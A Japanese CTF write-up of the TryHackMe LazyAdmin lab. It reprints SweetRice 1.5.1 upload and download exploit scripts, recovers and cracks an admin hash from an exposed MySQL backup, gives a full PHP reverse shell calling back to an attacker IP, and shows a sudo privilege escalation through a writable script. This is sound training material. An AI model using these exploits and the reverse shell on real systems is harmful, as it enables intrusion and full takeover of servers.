[TryHackMe] LazyAdmin #Writeup

# What is the user flag?
nmapでポートスキャン。

```
$ nmap 10.10.237.159

Starting Nmap 7.60 ( https://nmap.org ) at 2024-07-15 01:05 BST
Nmap scan report for ip-10-10-237-159.eu-west-1.compute.internal (10.10.237.159)
Host is up (0.00076s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 02:03:BE:3D:88:6D (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 1.76 seconds
```
httpとsshが開いていた。
ブラウザで確認するとApacheのデフォルトページが表示された。

gobusterで隠しページを探す。

```
gobuster dir -u http://10.10.237.159 -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.237.159
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirb/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2024/07/15 01:07:41 Starting gobuster
===============================================================
/.htpasswd (Status: 403)
/.hta (Status: 403)
/.htaccess (Status: 403)
/content (Status: 301)
/index.html (Status: 200)
/server-status (Status: 403)
===============================================================
2024/07/15 01:07:45 Finished
===============================================================
```

contentページにアクセスしてみると、以下のようなページが表示された。

>SweetRice notice
>
>Welcome to SweetRice - Thank your for install SweetRice as your website management system.
This site is building now , please come late.
>
>If you are the webmaster,please go to Dashboard -> General -> Website setting
>
>and uncheck the checkbox "Site close" to open your website.
>
>More help at Tip for Basic CMS SweetRice installed
Powered by Basic-CMS.ORG SweetRice.

どうやら、Basic-CMSのSweetriceというCMSを使用している。
これの脆弱性について調べてみる。

```
$ searchsploit sweetrice
------------------------------------------------- ---------------------------------
 Exploit Title                                   |  Path
------------------------------------------------- ---------------------------------
SweetRice 0.5.3 - Remote File Inclusion          | php/webapps/10246.txt
SweetRice 0.6.7 - Multiple Vulnerabilities       | php/webapps/15413.txt
SweetRice 1.5.1 - Arbitrary File Download        | php/webapps/40698.py
SweetRice 1.5.1 - Arbitrary File Upload          | php/webapps/40716.py
SweetRice 1.5.1 - Backup Disclosure              | php/webapps/40718.txt
SweetRice 1.5.1 - Cross-Site Request Forgery     | php/webapps/40692.html
SweetRice 1.5.1 - Cross-Site Request Forgery / P | php/webapps/40700.html
SweetRice < 0.6.4 - 'FCKeditor' Arbitrary File U | php/webapps/14184.txt
------------------------------------------------- ---------------------------------
Shellcodes: No Results
```
使用されているSweetRiceのバージョンはページからは確認できなかったが、
勘でバージョンは1.5.1っぽいなと考えたので、このバージョンのエクスプロイトを見ていく。

>SweetRice 1.5.1 - Arbitrary File Upload          | php/webapps/40716.py

これは、リバースシェルで使えそう。
ダウンロードして詳細をみる。

```
$ cat 40716.py
#/usr/bin/python
#-*- Coding: utf-8 -*-
# Exploit Title: SweetRice 1.5.1 - Unrestricted File Upload
# Exploit Author: Ashiyane Digital Security Team
# Date: 03-11-2016
# Vendor: http://www.basic-cms.org/
# Software Link: http://www.basic-cms.org/attachment/sweetrice-1.5.1.zip
# Version: 1.5.1
# Platform: WebApp - PHP - Mysql

import requests
import os
from requests import session

if os.name == 'nt':
    os.system('cls')
else:
    os.system('clear')
    pass
banner = '''
+-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-+
|  _________                      __ __________.__                  |
| /   _____/_  _  __ ____   _____/  |\______   \__| ____  ____      |
| \_____  \\ \/ \/ // __ \_/ __ \   __\       _/  |/ ___\/ __ \     |
| /        \\     /\  ___/\  ___/|  | |    |   \  \  \__\  ___/     |
|/_______  / \/\_/  \___  >\___  >__| |____|_  /__|\___  >___  >    |
|        \/             \/     \/            \/        \/    \/     |
|    > SweetRice 1.5.1 Unrestricted File Upload                     |
|    > Script Cod3r : Ehsan Hosseini                                |
+-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-+
'''

print(banner)


# Get Host & User & Pass & filename
host = input("Enter The Target URL(Example : localhost.com) : ")
username = input("Enter Username : ")
password = input("Enter Password : ")
filename = input("Enter FileName (Example:.htaccess,shell.php5,index.html) : ")
file = {'upload[]': open(filename, 'rb')}

payload = {
    'user':username,
    'passwd':password,
    'rememberMe':''
}



with session() as r:
    login = r.post('http://' + host + '/as/?type=signin', data=payload)
    success = 'Login success'
    if login.status_code == 200:
        print("[+] Sending User&Pass...")
        if login.text.find(success) > 1:
            print("[+] Login Succssfully...")
        else:
            print("[-] User or Pass is incorrent...")
            print("Good Bye...")
            exit()
            pass
        pass
    uploadfile = r.post('http://' + host + '/as/?type=media_center&mode=upload', files=file)
    if uploadfile.status_code == 200:
        print("[+] File Uploaded...")
        print("[+] URL : http://" + host + "/attachment/" + filename)
        pass
```

名前の通り、任意のファイルをアップロードできる。
しかし、これにはユーザー名とパスワードが必要。


ほかの脆弱性を使って、ユーザー名とパスワードを入手できないか考える。

>SweetRice 1.5.1 - Arbitrary File Download        | php/webapps/40698.py

これもダウンロードしてみてみたが、やはりユーザー名とパスワードが必要。

<details><summary>40698.py</summary>

```
$ cat 40698.py
#/usr/bin/python
#-*- Coding: utf-8 -*-
# Exploit Title: SweetRice 1.5.1 - Local File Inclusion
# Exploit Author: Ashiyane Digital Security Team
# Date: 03-11-2016
# Vendor: http://www.basic-cms.org/
# Software Link: http://www.basic-cms.org/attachment/sweetrice-1.5.1.zip
# Version: 1.5.1
# Platform: WebApp - PHP - Mysql

import requests
import os
from requests import session

if os.name == 'nt':
    os.system('cls')
else:
    os.system('clear')
    pass
banner = '''
+-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-+
|  _________                      __ __________.__                    |
| /   _____/_  _  __ ____   _____/  |\______   \__| ____  ____      |
| \_____  \\ \/ \/ // __ \_/ __ \   __\       _/  |/ ___\/ __ \     |
| /        \\     /\  ___/\  ___/|  | |    |   \  \  \__\  ___/     |
|/_______  / \/\_/  \___  >\___  >__| |____|_  /__|\___  >___  >    |
|        \/             \/     \/            \/        \/    \/     |
|    > SweetRice 1.5.1 Local File Inclusion                            |
|    > Script Cod3r : Ehsan Hosseini                                    |
+-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-+
'''

print(banner)


# Get Host & User & Pass & LfiPath
host = input("Enter The Target URL(Example : localhost.com) : ")
username = input("Enter Username : ")
password = input("Enter Password : ")
lfipath = input("Enter File To Download(Example : ../db.php) : ")
xplfile = input("Enter Name of File To Save(Example : ../db.php) : ")

userinfo = {
    'user':username,
    'passwd':password,
    'rememberMe':''
}

with session() as r:
    login = r.post('http://' + host + '/as/?type=signin', data=userinfo)
    success = 'Login success'
    if login.status_code == 200:
        print("[+] Sending User&Pass...")
        if login.text.find(success) > 1:
            print("[+] Login Succssfully...")
        else:
            print("[-] User or Pass is incorrent...")
            print("Good Bye...")
            exit()
            pass
        pass
    dlfile = r.get('http://' + host + '/as/?type=data&mode=db_import&db_file=' + lfipath + '&form_mode=save')

    if dlfile.status_code == 200:

        print('[+] Exploit...')
        file = open(xplfile, "w")
        file.write(dlfile.text)
        file.close()
        print('[+] File Saved...')
        print('[+] Exploit By Ehsan Hosseini')
    else:
        print("[-] Error in Exploting...")
        pass
```

</details>


Backup Disclosureを調べると、使えそうだと分かった。

```
$ cat 40718.txt
Title: SweetRice 1.5.1 - Backup Disclosure
Application: SweetRice
Versions Affected: 1.5.1
Vendor URL: http://www.basic-cms.org/
Software URL: http://www.basic-cms.org/attachment/sweetrice-1.5.1.zip
Discovered by: Ashiyane Digital Security Team
Tested on: Windows 10
Bugs: Backup Disclosure
Date: 16-Sept-2016


Proof of Concept :

You can access to all mysql backup and download them from this directory.
http://localhost/inc/mysql_backup

and can access to website files backup from:
http://localhost/SweetRice-transfer.zip
```


http://[target ip]/content/inc/mysql_backup/ にアクセスすると、mysqlのbackupを取得できるようだ。
mysql_bakup_20191129023059-1.5.1.sqlというファイルがあったのでゲットした。

```
cat mysql_bakup_20191129023059-1.5.1.sql
<?php return array (
  0 => 'DROP TABLE IF EXISTS `%--%_attachment`;',
  1 => 'CREATE TABLE `%--%_attachment` (
  `id` int(10) NOT NULL AUTO_INCREMENT,
  `post_id` int(10) NOT NULL,
  `file_name` varchar(255) NOT NULL,
  `date` int(10) NOT NULL,
  `downloads` int(10) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;',
  2 => 'DROP TABLE IF EXISTS `%--%_category`;',
  3 => 'CREATE TABLE `%--%_category` (
  `id` int(4) NOT NULL AUTO_INCREMENT,
  `name` varchar(255) NOT NULL,
  `link` varchar(128) NOT NULL,
  `title` text NOT NULL,
  `description` varchar(255) NOT NULL,
  `keyword` varchar(255) NOT NULL,
  `sort_word` text NOT NULL,
  `parent_id` int(10) NOT NULL DEFAULT \'0\',
  `template` varchar(60) NOT NULL,
  PRIMARY KEY (`id`),
  UNIQUE KEY `link` (`link`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;',
  4 => 'DROP TABLE IF EXISTS `%--%_comment`;',
  5 => 'CREATE TABLE `%--%_comment` (
  `id` int(10) NOT NULL AUTO_INCREMENT,
  `name` varchar(60) NOT NULL DEFAULT \'\',
  `email` varchar(255) NOT NULL DEFAULT \'\',
  `website` varchar(255) NOT NULL,
  `info` text NOT NULL,
  `post_id` int(10) NOT NULL DEFAULT \'0\',
  `post_name` varchar(255) NOT NULL,
  `post_cat` varchar(128) NOT NULL,
  `post_slug` varchar(128) NOT NULL,
  `date` int(10) NOT NULL DEFAULT \'0\',
  `ip` varchar(39) NOT NULL DEFAULT \'\',
  `reply_date` int(10) NOT NULL DEFAULT \'0\',
  PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;',
  6 => 'DROP TABLE IF EXISTS `%--%_item_data`;',
  7 => 'CREATE TABLE `%--%_item_data` (
  `id` int(10) NOT NULL AUTO_INCREMENT,
  `item_id` int(10) NOT NULL,
  `item_type` varchar(255) NOT NULL,
  `data_type` varchar(20) NOT NULL,
  `name` varchar(255) NOT NULL,
  `value` text NOT NULL,
  PRIMARY KEY (`id`),
  KEY `item_id` (`item_id`),
  KEY `item_type` (`item_type`),
  KEY `name` (`name`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;',
  8 => 'DROP TABLE IF EXISTS `%--%_item_plugin`;',
  9 => 'CREATE TABLE `%--%_item_plugin` (
  `id` int(10) NOT NULL AUTO_INCREMENT,
  `item_id` int(10) NOT NULL,
  `item_type` varchar(255) NOT NULL,
  `plugin` varchar(255) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;',
  10 => 'DROP TABLE IF EXISTS `%--%_links`;',
  11 => 'CREATE TABLE `%--%_links` (
  `lid` int(10) NOT NULL AUTO_INCREMENT,
  `request` text NOT NULL,
  `url` text NOT NULL,
  `plugin` varchar(255) NOT NULL,
  PRIMARY KEY (`lid`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;',
  12 => 'DROP TABLE IF EXISTS `%--%_options`;',
  13 => 'CREATE TABLE `%--%_options` (
  `id` int(10) NOT NULL AUTO_INCREMENT,
  `name` varchar(255) NOT NULL,
  `content` mediumtext NOT NULL,
  `date` int(10) NOT NULL,
  PRIMARY KEY (`id`),
  UNIQUE KEY `name` (`name`)
) ENGINE=MyISAM AUTO_INCREMENT=4 DEFAULT CHARSET=utf8;',
  14 => 'INSERT INTO `%--%_options` VALUES(\'1\',\'global_setting\',\'a:17:{s:4:\\"name\\";s:25:\\"Lazy Admin&#039;s Website\\";s:6:\\"author\\";s:10:\\"Lazy Admin\\";s:5:\\"title\\";s:0:\\"\\";s:8:\\"keywords\\";s:8:\\"Keywords\\";s:11:\\"description\\";s:11:\\"Description\\";s:5:\\"admin\\";s:7:\\"manager\\";s:6:\\"passwd\\";s:32:\\"42f749ade7f9e195bf475f37a44cafcb\\";s:5:\\"close\\";i:1;s:9:\\"close_tip\\";s:454:\\"<p>Welcome to SweetRice - Thank your for install SweetRice as your website management system.</p><h1>This site is building now , please come late.</h1><p>If you are the webmaster,please go to Dashboard -> General -> Website setting </p><p>and uncheck the checkbox \\"Site close\\" to open your website.</p><p>More help at <a href=\\"http://www.basic-cms.org/docs/5-things-need-to-be-done-when-SweetRice-installed/\\">Tip for Basic CMS SweetRice installed</a></p>\\";s:5:\\"cache\\";i:0;s:13:\\"cache_expired\\";i:0;s:10:\\"user_track\\";i:0;s:11:\\"url_rewrite\\";i:0;s:4:\\"logo\\";s:0:\\"\\";s:5:\\"theme\\";s:0:\\"\\";s:4:\\"lang\\";s:9:\\"en-us.php\\";s:11:\\"admin_email\\";N;}\',\'1575023409\');',
  15 => 'INSERT INTO `%--%_options` VALUES(\'2\',\'categories\',\'\',\'1575023409\');',
  16 => 'INSERT INTO `%--%_options` VALUES(\'3\',\'links\',\'\',\'1575023409\');',
  17 => 'DROP TABLE IF EXISTS `%--%_posts`;',
  18 => 'CREATE TABLE `%--%_posts` (
  `id` int(10) NOT NULL AUTO_INCREMENT,
  `name` varchar(255) NOT NULL,
  `title` varchar(255) NOT NULL,
  `body` longtext NOT NULL,
  `keyword` varchar(255) NOT NULL DEFAULT \'\',
  `tags` text NOT NULL,
  `description` varchar(255) NOT NULL DEFAULT \'\',
  `sys_name` varchar(128) NOT NULL,
  `date` int(10) NOT NULL DEFAULT \'0\',
  `category` int(10) NOT NULL DEFAULT \'0\',
  `in_blog` tinyint(1) NOT NULL,
  `views` int(10) NOT NULL,
  `allow_comment` tinyint(1) NOT NULL DEFAULT \'1\',
  `template` varchar(60) NOT NULL,
  PRIMARY KEY (`id`),
  UNIQUE KEY `sys_name` (`sys_name`),
  KEY `date` (`date`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;',
);?>
```
14=>の後に続く文字列に以下の内容があった。
>\\"admin\\";s:7:\\"manager\\";s:6:\\"passwd\\";s:32:\\"42f749ade7f9e195bf475f37a44cafcb\\"

おそらく、ユーザー名が"manager"でパスワードが"42f749ade7f9e195bf475f37a44cafcb"だろう。
しかし、パスワードはハッシュ化されているように見える。

通常はhashcatやjohntheripperでクラックするところを、hashes.comのデータベースを使って楽しちゃいました。
すんません。

https://hashes.com/en/decrypt/hash

Password123がハッシュ化前のパスワードだと分かった。

そういえば、nmapでsshがオープンしていたのを確認していたので、このユーザー名とパスワードで接続できるか試してみる。

```
ssh manager@10.10.237.159
manager@10.10.237.159's password:  <---Password123を入力
Permission denied, please try again.
```
そう簡単ではないか、、、 

気を取り直して、リバースシェル用のペイロードを作成する。

https://www.revshells.com/

このサイトでPHP PentestMonkeyを選択し、攻撃元IPと好きなポートを入力して、payload.php5を作成した。

<details><summary>payload.php5</summary>

```
cat payload.php5
<?php

// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php

// Copyright (C) 2007 pentestmonkey@pentestmonkey.net



set_time_limit (0);

$VERSION = "1.0";

$ip = '10.10.31.62';

$port = 5555;

$chunk_size = 1400;

$write_a = null;

$error_a = null;

$shell = 'uname -a; w; id; sh -i';

$daemon = 0;

$debug = 0;



if (function_exists('pcntl_fork')) {

	$pid = pcntl_fork();

	

	if ($pid == -1) {

		printit("ERROR: Can't fork");

		exit(1);

	}

	

	if ($pid) {

		exit(0);  // Parent exits

	}

	if (posix_setsid() == -1) {

		printit("Error: Can't setsid()");

		exit(1);

	}



	$daemon = 1;

} else {

	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");

}



chdir("/");



umask(0);



// Open reverse connection

$sock = fsockopen($ip, $port, $errno, $errstr, 30);

if (!$sock) {

	printit("$errstr ($errno)");

	exit(1);

}



$descriptorspec = array(

   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from

   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to

   2 => array("pipe", "w")   // stderr is a pipe that the child will write to

);



$process = proc_open($shell, $descriptorspec, $pipes);



if (!is_resource($process)) {

	printit("ERROR: Can't spawn shell");

	exit(1);

}



stream_set_blocking($pipes[0], 0);

stream_set_blocking($pipes[1], 0);

stream_set_blocking($pipes[2], 0);

stream_set_blocking($sock, 0);



printit("Successfully opened reverse shell to $ip:$port");



while (1) {

	if (feof($sock)) {

		printit("ERROR: Shell connection terminated");

		break;

	}



	if (feof($pipes[1])) {

		printit("ERROR: Shell process terminated");

		break;

	}



	$read_a = array($sock, $pipes[1], $pipes[2]);

	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);



	if (in_array($sock, $read_a)) {

		if ($debug) printit("SOCK READ");

		$input = fread($sock, $chunk_size);

		if ($debug) printit("SOCK: $input");

		fwrite($pipes[0], $input);

	}



	if (in_array($pipes[1], $read_a)) {

		if ($debug) printit("STDOUT READ");

		$input = fread($pipes[1], $chunk_size);

		if ($debug) printit("STDOUT: $input");

		fwrite($sock, $input);

	}



	if (in_array($pipes[2], $read_a)) {

		if ($debug) printit("STDERR READ");

		$input = fread($pipes[2], $chunk_size);

		if ($debug) printit("STDERR: $input");

		fwrite($sock, $input);

	}

}



fclose($sock);

fclose($pipes[0]);

fclose($pipes[1]);

fclose($pipes[2]);

proc_close($process);



function printit ($string) {

	if (!$daemon) {

		print "$string\n";

	}

}



?>
```

</details>

エクスプロイトを実行前にリッスンしておく。

```
nc -lvnp 5555
```

エクスプロイトを実行。
```
$ python 40716.py

+-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-+
|  _________                      __ __________.__                  |
| /   _____/_  _  __ ____   _____/  |\______   \__| ____  ____      |
| \_____  \ \/ \/ // __ \_/ __ \   __\       _/  |/ ___\/ __ \     |
| /        \     /\  ___/\  ___/|  | |    |   \  \  \__\  ___/     |
|/_______  / \/\_/  \___  >\___  >__| |____|_  /__|\___  >___  >    |
|        \/             \/     \/            \/        \/    \/     |
|    > SweetRice 1.5.1 Unrestricted File Upload                     |
|    > Script Cod3r : Ehsan Hosseini                                |
+-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-+

Enter The Target URL(Example : localhost.com) : 10.10.237.159/content
Enter Username : manager
Enter Password : Password123
Enter FileName (Example:.htaccess,shell.php5,index.html) : payload.php5
[+] Sending User&Pass...
[+] Login Succssfully...
[+] File Uploaded...
[+] URL : http://10.10.237.159/content/attachment/payload.php5
```

```
nc -lvnp 5555
Listening on [0.0.0.0] (family 0, port 5555)
Connection from 10.10.237.159 54238 received!
Linux THM-Chal 4.15.0-70-generic #79~16.04.1-Ubuntu SMP Tue Nov 12 11:54:29 UTC 2019 i686 i686 i686 GNU/Linux
 05:34:23 up  2:37,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
sh: 0: can't access tty; job control turned off
$ 
```

キターーーーーー！
探索すると、homeの中にuser.txtがあった。

```
$ cat user.txt
THM{********************************}
```

# What is the root flag?
まずはsudo -lで権限昇格の糸口を掴む。

```
$ sudo -l
Matching Defaults entries for www-data on THM-Chal:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on THM-Chal:
    (ALL) NOPASSWD: /usr/bin/perl /home/itguy/backup.pl
```

パスワードなしでも/usr/bin/perl /home/itguy/backup.plをルート権限で実行できることが分かった。

backup.plを見てみる。
```
$ cat /home/itguy/backup.pl
#!/usr/bin/perl

system("sh", "/etc/copy.sh");
```
これを使えば、ルート権限でcopy.shを実行できるようだ。
backup.plは書き込み権限がなかったが、copy.shは書き込み権限があったので、これをペイロードに書き換える。

```
echo "/bin/bash"  > /etc/copy.sh
```

backup.plを実行する。

```
$ sudo /usr/bin/perl /home/itguy/backup.pl
whoami
root
```
ルートユーザーには入れた！
rootのなかにroot.txtはあった。
```
$ cat root.txt
THM{**************************}
```